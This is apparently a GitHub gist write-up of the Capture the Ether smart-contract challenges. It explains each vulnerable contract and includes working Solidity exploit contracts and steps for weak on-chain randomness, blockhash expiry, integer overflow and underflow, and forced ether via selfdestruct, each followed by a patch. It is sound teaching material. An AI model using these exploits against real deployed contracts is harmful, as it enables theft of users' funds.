Skip to content

Instantly share code, notes, and snippets.

@nadir-akhtar
Last active March 7, 2022 19:14
Show Gist options
  • Star 10 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save nadir-akhtar/2720b26fc733a602cb7fa327ddde80c9 to your computer and use it in GitHub Desktop.
Save nadir-akhtar/2720b26fc733a602cb7fa327ddde80c9 to your computer and use it in GitHub Desktop.
My runthrough of the wonderful capturetheether.com. Check me out on the leaderboard, "partywizard", in 24th place as of May 7, 2018. If you notice errors, feel free to bring it up in the discussion section.

Capture the Ether Writeup

This writeup is a runthrough of challenges at https://capturetheether.com/challenges/ built on the Ropsten testnet. I will go through each problem in four steps:

  1. The intention of the contract
  2. The flawed assumption
  3. The process of exploiting the vulnerability
  4. The potential patches

I'll provide examples of the code I wrote as needed. To save time, we'll skip into the Lotteries section, starting with Guess the secret number, as that's the first problem which truly required some thought.

Attributions:

  • Remix was essential in easily testing contract logic along with connecting to and interacting with deployed contracts on the testnet.
  • MetaMask facilitated the process of sending transactions and maintaining accounts as well, without which the exasperating UI of these challenges would have likely overwhelmed me into immediate surrender.

Guess the secret number

Guess the secret number provides a hardcoded answer hash, and the only way to redeem ether from the contract is by providing the input which produces that hash. Below is some relevant code. (See the link for more info if desired.)

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

Secret Number Intention

The intention of the contract seems to be that only the creator of the contract source code is able to redeem any ether from this contract. This is enforced by the assumed assumption that only the creator knows the input to the given hash function.

Secret Number Flaw

The flaw in this assumption that no one else can figure out the hash preimage is that the input space is incredibly small. uint8 implies that there are only 256 possible inputs, somewhere between 0 and 255. If there is a valid solution to unlock this ether, it will not be hard to find by brute forcing.

Secret Number Exploit

To exploit this vulnerability, we can use the below Solidity contract:

contract FindInput {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    uint8 answer = 0;

    function getAnswer() public view returns (uint8) {
        return answer;
    }

    function guess() public returns (uint8) {
        for (uint8 i = 0; i <= 255; i++) {
            if (keccak256(i) == answerHash) {
                answer = i;
                return i;
            }
        }
    }
}

This piece of code was written in Solidity so that the hash function was run on the EVM, mimicking GuessTheSecretNumberChallenge, for consistency. (Though, we don't have to deploy this contract; running it locally and submitting the correct input to the testnet is sufficient.)

The guess() method, as you can tell, iterates through all possible inputs, storing and returning the correct input when reached. A computer runs through this loop before one can even say, "I wonder how long this will take," demonstrating how easy it is to exploit this vulnerability.

(If you were curious: the answer was 170.)

Secret Number Patch

To prevent someone from finding the input of this hash function, two things are necessary:

  • Never hash your input on-chain
  • Increase the size of your input space to uint256

The first is obvious: all data on-chain is accessible. Hence, any hashing on-chain exposes the input.

The second, if you understood the above, is also clear: a small input space makes for a large vulnerability. By increasing the size of the input space astronomically to the largest possible, the computational power needed to brute force the hash becomes exponentially more infeasible (assuming the input for the hash is not still bounded within the uint8 space).

Note: While it is usually safe to assume that hashes cannot be reverse engineered, it is also important to consider the possible leakage of the original input. If someone attempts to go off-chain and tries to hack your computer, is your computer secure? No amount of smart contract security can ensure the security of your own device, which also needs to be a secure endpoint to prevent the undesirable.


Guess the random number

Guess the random number produces a number at random upon generation, and the only way to redeem ether from the contract is by providing the random number as input. Below is some relevant code. (See the link for more info if desired.)

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

Random Number Intention

The intention of this random number is presumably to produce a number so unpredictable that, through some business-minded thinking, security must be ascertained. (It is full knowledge that these challenges do not yet truly imitate real-world contract attempts at security, but I still attempt to describe them as such since the underlying concepts certainly permeate among far too many developers.)

Random Number Flaw

The flaws are two-fold: not only can the inputs be recovered, but the outputs are equally exposed. Upon this realization, this problem is no more difficult than the Guess the number challenge, where the answer is stored plaintext on the blockchain. Not only can one find the inputs on the block explorer and reproduce the output, but it is also possible to pull the output from the smart contract itself.

Random Number Exploit

After struggling for a little too long trying to convert UTC time back to Unix time reliably, I chose the easier route of simply pulling the already produced output from the GuessTheRandomNumberChallenge contract via the following web3js call:

web3.eth.getStorageAt("0x029a843A6147Bf5028548b87b81d26Ce528D3228", 0, function(error, result){
    if(!error)
        console.log(JSON.stringify(result));
    else
        console.error(error);
})

Knowing nothing about JavaScript, I cannot explain why MetaMask and Remix both demanded I include a callback function, but there it is nevertheless. For more info about getStorageAt, check out the web3 documentation. In short, the first argument is the address of the Ropsten contract, and the second is the index of the desired value.

After receiving this value from the contract, I merely sent the value into the guess() function and voila, I got my ETH back.

Random Number Patch

To patch this bug, a few things are clear:

  • The inputs to some "random" output should never be shown on-chain unless it's no longer a vulnerability for someone else to make the association.
  • The randomness of the input should not rely on easily available inputs, nor on manipulable inputs like now and blockhash.
  • Don't pretend like no one can see your secret values. It doesn't matter how much randomness goes into producing some value if the condition for unlocking ETH is by accessing some publicly available value.

Given, on-chain randomness has been a matter of debate for a while, but there are better solutions like RanDAO which provide randomness in a much less predictable manner (as far as we know...).


Guess the new number

Guess the new number does exactly what Guess the random number did, just at a different step of execution. Instead of creating the random number upon contract generation, the random number is instead created "on-demand" with every call to guess(). Below is some relevant code. (See the link for more info if desired.)

contract GuessTheNewNumberChallenge {
    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

New Number Intention

The intention is to make the generation of the random number unpredictable by making the number at the time the transaction is called. By doing so, there is no past history to reference and submit to the contract, as now is not reliably predictable.

New Number Flaw

The flaw with this contract is the assumption that some human would be looking up and/or predicting this information to guess the input. However, unlike laggard humans, smart contracts can conduct this computation alongside each other—quite literally, given that contracts can call other contracts. As you'll see, it's actually not that hard to "guess" the number.

New Number Exploit

A new contract defined as below is capable of producing the guess that the other contract is about to make:

contract GuessTheNewNumberCaller {
    function callNewNumberChallenge(address _address) public payable {
        uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now));

        GuessTheNewNumberChallenge ctr = GuessTheNewNumberChallenge(_address);
        ctr.guess.value(1 ether)(result);
    }

    function () public payable {

    }
}

The function callNewNumberChallenge() takes in the address of the GuessTheNewNumberChallenge contract and calls its guess() function. The argument passed is the result of the very same computation the other contract is about to make.

This works because the call from contract to contract means that the two contracts share block data, such as timestamp and block numbers. Because of this, our parameters will be exactly the same. This new contract replicates the "random" operations of the upcoming contract.

You may have noticed the empty payable fallback function. As this smart contract will be the msg.sender to the other contract, it will also be the contract which receives payment. Therefore, to make known that it's open to accepting payment, it needs to have this payable fallback function.

As for why it's empty, it's simple: testnet ether isn't valuable enough to bother retrieving it from a contract. If this were a mainnet contract, though, there would be an owner variable instantiated upon contract generation and a function that looked something like below:

function withdraw() public {
    require(msg.sender == owner);
    owner.transfer(address(this).balance);
}

Or this functionality could be thrown directly into the fallback function, a little bit fancier of a technique:

function () public payable {
    owner.transfer(address(this).balance);
}

New Number Patch

Again, a patch would be to use a non-deterministic random number which cannot be propagated between contract calls. This is another reason why blockhash and now are poor choices of randomness. If two contracts within the same block are capable of producing the same random number, then it's a bad idea.

I'm not sure of a verifiably secure random procedure that could closely replicate yet replace this implemenation. RanDAO to my knowledge would not work here either given that the information accessed by both contracts would be the same, leaving us with the same problem. I would have to do much more research into blockchain randomness to come up with a meaningful recommendation.


Predict the future

(In all honestly, I was never able to fully complete this problem due to technical issues, but the important parts are clear.)

Each of these "Predict the _____" is simply pushing the random number generation farther into the future. Predict the future is the first that forces the player to lock in a guess in a block before the random number generation. Below is some relevant code. (See the link for more info if desired.)

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

Future Intention

The intent of this contract is to force the user to lock themselves into a commitment with presumably too little prior information to be meaningful. In other words, a random commitment is pretty much the best they can make. There are only 1/10 possibilities (as given by the % 10 operation). Because of this, every settle() call is a 1/10 chance of the player getting a reward, and a 9/10 chance of failure, implying further that the contract is going to have 90% more ether than the player in the long run. It seems that the intent of settle() is to operate this way, for the player not to know the answer before the call to settle().

Future Flaw

The flaw is built-in to the challenge. Again, we don't need to waste ETH calling settle() arbitrariliy. Instead, we can generate a separate contract which calls settle() only on the condition that the upcoming value of answer will equal our previous guess. We'll eat gas costs, but at least we won't let our ETH get locked up. In summary, the flaw is that we can predict the value of answer before the call to settle, which seems to be against the hypothetical intent of a contract with such logic.

Future Exploit

Below is a contract which exploits the above flaw:

contract PredictTheFutureCaller {
    PredictTheFutureChallenge ctr;
    uint8 n;

    function PredictTheFutureCaller(address _ctr, uint8 _n) public payable {
        require(msg.value >= 1 ether);
        ctr = PredictTheFutureChallenge(_ctr);
        n = _n;
        ctr.lockInGuess.value(1 ether)(n);
    }

    function check() public {
        uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        if (result == n) {
            ctr.settle();
        }
    }

    function () public payable {

    }
}

The reason why this contract calls the PredictTheFutureChallenge contract instead of some EOA is because that contract will save the address of the guesser. Only the same guesser is allowed to call settle(). This means that the smart contract must initiate to later settle this contract.

As you can tell, we will have to call check() repeatedly, waiting for just the right transaction. Unfortunately for myself, approximately every tenth transaction or so failed. It seems likely that there was some issue with some require() keyword. I checked the value of guesser in the first contract, and it seemed to differ from the address of my deployed smart contract. I would have spent more time trying to debug it if my exhaustion didn't claim me for sleep.

Future Patch

Again, to make the number truly unpredictable, it needs to be some value to which no other contract or transaction has access. I echo my comments from above where I stated it takes a significant amount of research before being anywhere close to getting secure randomness on the blockchain.


Predict the block hash

This one was frustrating enough to make me laugh. Predict the block hash asks you to predict the hash of an upcoming block. This one sounded damn near impossible, and that's because it is practically impossible to predict a block hash. However, that doesn't mean we can't win the challenge nevertheless. Below is some relevant code. (See the link for more info if desired.)

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

Block Hash Intention

The intention of this measure is to ensure that no one can ever claim this ether unless they're a genuinely divine oracle. It would take on average 2^256 guesses before getting a correct answer; I don't think most people are that patient.

Block Hash Flaw

The flaw is in the assumption that block.blockhash() will always return the blockhash of some given block. However, anyone who's read the Ethereum documentation for this function knows that, to conserve resources, only the most recent 256 blocks are accessible. You know what this means?

Block Hash Exploit

To get our ether back, we just need to be patient enough to outwait 256 blocks. After that point, the value of block.blockhash(settlementBlockNumber) will always be 0! In order to exploit this feature, we simply need to commit to the value 0, wait for 256 blocks to be produced, and then call settle().

Block Hash Patch

Two possibilities for a patch:

  • Don't allow the player to call settle() if the current block number is more than 256 blocks past the settlementBlockNumber. (This can be justified by saying that there's no reason for the player to wait after commiting their ETH, and 256 blocks is a good couple hours. (I should know, I had to wait it out to solve this challenge.))
  • Less desirable: have the owner manually call the contract to store the value of block.blockhash(settlementBlockNumber) within the first 256 blocks. This is less desirable because it requires manual work on behalf of the contract owner. In addition, if the owner doesn't notice the contract and doesn't have a program automatically calling these contracts, then they might get ripped off. However, from an execution standpoint assuming that the owner can call this contract reliably as needed, it's more ideal because it works closer to the original intention of the contract. It just requires calling the function early enough to where the value can be stored.

Token sale

Our first token sale contract to inspect. Token sale challenges the user to extract ETH from a contract which buys and sells tokens at a value of 1 ETH each. Below is some relevant code. (See the link for more info if desired.)

contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    }

    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}

Token Sale Intention

The intention of token sale is to create a stable coin (!!) which is, no matter the demand for the token, always buying and selling from this contract at a value of 1 ETH per token. It enforces this through require() statements that ensure the amount transferred is always equal to the numTokens * PRICE_PER_TOKEN.

Token Sale Flaw

Pretty relevant stuff: integer overflow. The token fails to check for integer overflow in its buy() function. You might think, "But it's some number times 1, doesn't that mean it doesn't change? How is overflow possible?" Here's the trick: 1 ether != 0x1. In actuality, 1 ether == 1000000000000000000. This implies that there is some number, ceil(2**256 / 1 ether), which will allow us to cheaply purchase a f***ton of coins. How does this happen?

Token Sale Exploit

Here are the steps to calculate:

numTokens = ceil(2**256 / 1 ether)
msg.value = numTokens * 1 ether % 2**256

numTokens is the first step of calculation, representing the number of tokens we seek to purchase and the value sent into buy(). We get this number by calculating the smallest value that will give us overflow.

msg.value is the second step of calculation, representing the amount of money necessary to collect numTokens. It's calculated just as the smart contract will calculate it: by multiplying numTokens by 1 ether (aka 1000000000000000000), then taking its value mod 2**256 given the size constraint of the uint256 type. The remainder is all that will be stored by the variable. We typically never think about these data types mod anything because we rarely hit their limit. However, with smart contracts, one must always be incredibly wary. See the following values for yourself:

numTokens = ceil(2**256 / 1 ether) = 115792089237316195423570985008687907853269984665640564039458
msg.value = (numTokens * 1 ether) % 2**256 = 0.415992086870360064

We're able to get an unimaginable number of tokens for less than half an ETH. From here, I can redeem each token for 1 ETH each, making my investment incredibly valuable.

Token Sale Patch

To patch this bug, it's quite simple: ensure that numTokens is not greater than ceil(2**256 / 1 ether). (Also important to include require(balanceOf[msg.sender] + numTokens >= balanceOf[msg.sender]), but that's a separate story.) By including this patch, you'll ensure that the overflow can never be hit in any individual transction. It's not unreasonable to justify, given that it's unlikely that anyone wants to buy that many tokens in one go.


Token whale

The purpose of Token whale is to pull a pump-and-dump: take your initial thousand tokens and turn it into a million. Below is some relevant code. (See the link for more info if desired.)

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

Token Whale Intention

The intention of the contract is to implement an ERC20 compliant token.

Token Whale Flaw

The bug was surprisingly not so much a quirk of Solidity (like an overflow or blockhash edge case) as it was an intentional error in design. The function transferFrom() is entirely flawed, not just exploitable with some specific values.

To start, let's establish the purpose of transferFrom(), intimately connected with approve(). Both of these in conjunction allow some user to send tokens on behalf of another user. approve() is where one user gives another some stipend stored in the allowance mapping, and transferFrom() is where the other user is able to leverage that allowance.

I had to look at transferFrom() several times just to make sure I wasn't crazy when I came to the conclusion that the functionality itself operates unexpectedly. You would imagine that, if address A gives address B some allowance, then transferFrom() would deduct from address A's balance. That's not the case: instead, if B sends on A's behalf, it's B who takes the hit when _transfer() is called.

However, this can be exploited. We are now able to use integer underflow to our advantage because _transfer() does no internal checks, and the transferFrom() checks don't apply given the broken functionality. So how will we exploit this vulnerability?

Token Whale Exploit

To exploit it, we need two different addresses over which we have control: player and stooge. (Come on, "stooge" is funny.) This process will involve four functions: transfer(), approve(), transferFrom(), and indirectly _transfer().

The general plan of attack, going backwards from the goal:

  • To get player's balance above a million, we need player's balance to underflow in the _transfer() function.
  • To get player's balance to underflow in the _transfer() function, it needs to be msg.sender, and the amount deducted needs to be greater than player's balance.
  • To get player to be msg.sender, it needs to get to _transfer() through some other public function.
  • To get to _transfer() through some public function which won't check for underflow conditions, we need to make a call to transferFrom().
  • To make a call to transferFrom(), we need to give player some allowance from some other account (stooge).
  • To get stooge to give player some allowance, we need stooge to transfer some SET to player via approve().
  • To ensure that the allowance to player is greater than the balance and that stooge has sufficient funds, we first need player to transfer over half of its balance to stooge. (Let's say 750 SET for convenience).
  • To transfer the funds to stooge, we need player to call transfer(stooge, 750).

If that didn't make sense, here's what the flow would look like. The syntax is address making the contract call (arguments included), followed by list of values resulting from the termination of the function call:

player:
    TokenWhaleChallenge(player)
    - balanceOf[player] = 1000
    - balanceOf[stooge] = 0
    - allowance[player][stooge] = 0 // never changes, included for completeness
    - allowance[stooge][player] = 0 // designates allowance FROM stooge TO player

    transfer(stooge, 750)
    - balanceOf[player] = 250
    - balanceOf[stooge] = 750
    - allowance[player][stooge] = 0
    - allowance[stooge][player] = 0

stooge:
    approve(player, 750):
    - balanceOf[player] = 250
    - balanceOf[stooge] = 750
    - allowance[player][stooge] = 0
    - allowance[stooge][player] = 750

player:
    transferFrom(stooge, address(0), 750)
        Internal call: _transfer(address(0), 750) // msg.sender == player
    - balanceOf[player] = 115792089237316195423570985008687907853269984665640564039457
584007913129639436
    - balanceOf[stooge] = 750
    - allowance[player][stooge] = 0
    - allowance[stooge][player] = 0

Token Whale Patch

Go with the currently existing functions for transferring, and handle all the functionality correctly. Don't try to roll your own code if not necessary. An example of a correct transferFrom() function, taken from The Ethereum Wiki:

function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        balances[from] = balances[from].sub(tokens);
        allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
        balances[to] = balances[to].add(tokens);
        Transfer(from, to, tokens);
        return true;
    }

As seen here, deduct from the balance of from instead of msg.sender, and the require() in the original contract checks should prevent any underflow or overflow. (Technically, the SafeMath operations seen here do the same, but they destroy gas by using assert() functions. Most of us want to avoid losing all our gas.)


Retirement fund

This was one of the most fun and fastest for myself. Retirement fund required me to use of one of my favorite tricks in Ethereum. (No spoilers!) Below is some relevant code. (See the link for more info if desired.)

contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    }

    function withdraw() public {
        require(msg.sender == owner);

        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }

    function collectPenalty() public {
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}

Retirement Fund Intention

The intention of this contract is to incentivize the owner not to withdraw ether for some time period, as withdrawing early means losing 10% of that precious ETH. The separate collectPenalty() function allows me to, in the scenario that owner calls withdraw() early, redeem my 0.1 ETH. (There is an issue where collectPenalty() fails to explicitly account for its unusability if withdraw() is called appropriately and no ETH is left in the contract, but that's another matter.)

However, there's a fatal flaw in the assumptions made in collectPenalty(). It only assumes that the contract balance will go down. It never considers it might go up.

Retirement Fund Flaw

Within collectPenalty(), the difference between startBalance and address(this).balance is calculated and saved within a uint256 variable, withdrawn. The only require() check following examines whether withdrawn is positive. Given that withdrawn is unsigned, any value of withdrawn that is not zero will always be positive. Hence, any difference between startBalance and address(this).balance will allow us to pass the require() check and redeem the entire balance of the contract. There is no check for whether startBalance is actually greater than the current address(this).balance.

So how do we actually go about exploiting this vulnerability?

Retirement Fund Exploit

If you listened in your Blockchain for Developers class, you would have known that even contracts which aren't "payable" can still be forced to receive ether via the notorious selfdestruct() function. A design choice of the EVM, smart contracts are incapable of refusing ETH sent to them as a result of the SUICIDE opcode.

To execute this, I made the following contract:

contract SelfDestruct {
    address target;

    function SelfDestruct(address _address) public payable {
        require(msg.value > 0);
        target = _address;
    }

    function kill() public {
        selfdestruct(target);
    }
}

After creating the contract with 1 ETH and initializing the target with the RetirementFundChallenge address, I then called kill() to force the other contract to take the extra ETH. The other contract now has a balance of 2, withdrawn is positive, and I steal all the ETH from the poor sap's retirement fund.

Retirement Fund Patch

To only allow collectPenalty() to be withrdrawn in the event of an early withdraw() call by owner, we can easily define a new bool variable, let's say earlyWithdraw, which must be true for collectPenalty() to be called. We don't anticipate any penalty to be collected before the owner tries to withdraw early, after all.

Another available check we can instigate is requiring startBalance to be greater than address(this).balance, but it's hardly as effective. There are a few resulting incentive considerations, but that's a discussion for another time if you're interested. Using the bool strategy above is straightforward and secure. Not exciting, but it'll work.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment